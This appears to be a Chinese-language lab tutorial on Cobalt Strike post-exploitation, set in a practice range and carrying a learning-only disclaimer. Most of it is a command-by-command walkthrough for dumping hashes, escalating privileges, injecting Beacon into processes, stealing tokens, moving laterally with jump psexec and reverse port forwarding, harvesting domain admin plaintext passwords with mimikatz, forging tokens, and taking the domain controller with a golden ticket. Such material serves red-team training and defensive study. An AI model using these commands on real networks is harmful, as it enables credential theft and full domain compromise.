文中通过详细讲解CobaltStrike工具,更加深入的掌握CobaltStrike用法;文中内容全由个人理解编制,若有错处,大佬勿喷,个人学艺不精;本文中提到的任何技术都源自于靶场练习,仅供学习参考,请勿利用文章内的相关技术从事非法测试,如因产生的一切不良后果与文章作者无关。
CobaltStrike后渗透
获取跳板机权限:
当我们获取一个权限的时候,可以先使用命令获取hash:
hashdump #获取hash
使用命令获取信任主机:
net view #获取信任主机
使用命令或借助辅助模块来进行提权:
getsystem #提权命令
rev2self #退回原始权限
利用进程注入获取权限:
ps #查看进程
inject PID号 x64 Beacon_HTTP #当不设置x86 或者x64 默认x86
利用令牌窃取获取权限:
steal_token PID号 #注:最好使用system权限。
在cs中我们获取一个权限,如果没有带星号,那么则不能够完全控制,我们可以使用bypassuac来进行提权,这里我们可以使用辅助模块来完成:
区别就在于当我们可以完全控制时,则可以进行文件上传,如果没有完全控制,则不能进行上传。
当我们已经获取信任主机,则可以使用横向进行渗透:
但我们的先决条件是能够使用访问信任主机的目录:
dir \\12server2\C$ #这里必须使用administrator权限。
从图中可以看出,如果138这台主机如何和我们的被控机密码不一致时,则不能访问,反之可以访问:
然后我们在通过扫描来进行确定138这台主机的445端口是否开启:
当确定445开启,且可以访问目录,我们就可以利用psexec来进行建立通信:
获取内网域主机权限:
方法一(正向命令):
先建立正向监听器:
然后使用jump实现正向连接:
jump psexec 12server2 Beacon_SMB # 利用程序名 主机名 监听器名
假如连接的主机断开,我们可以使用link命令来进行恢复:
link 12server2 #link主机名
方法二(反向命令):
我们同样也可以反向来建立连接,当设备中没有防火墙的情况下,我们正向是没有问题的,但如果有防火墙,则我们需要使用反向才可连接
然后使用代理转发->转发上线 来建立连接:
rportfwd 8888 windows/beacon_reverse_tcp
这里就会多出一个反向的监听器:
然后我们使用jump 直接来进行反向连接:
注:这里只能是administrator权限,不能是system权限:
jump psexec 12server2 rev
当我们在进程中有域管理账户:
我们则可以利用mimikatz来抓取域控hash:
logonpasswords #获取域控的hash及明文密码
获取域控权限
方法一:
利用明文密码制作令牌,然后使用jump获取ad2域控权限,在将所有用户的hash导出:
这里我们成功获取了域控的明文密码,则可以制作令牌:
make_token redteam\administrator QWEasd123 #域\用户名 密码
能够成功访问到我们的ad2域控的目录后,则可以使用jump来获取域控权限:
jump psexec ad2 rev #使用此方法首先需确认445端口
方法二:
利用注入技术获取一个域控administrator权限的会话,然后使用插件将所有用户的hash导出:
我们这里使用system权限的会话注入到域控的进程中:
inject 2116 x64 rev #pid号 x64 监听器名
这里使用插件将所有账户的hash导出:
利用黄金票据来使我们的域控上线,首先获取一个域用户权限:
上面可以看出无法访问域控目录,建立黄金票据:
成功导入后,可以访问域控目录:
同样利用psexec ,ad2成功上线: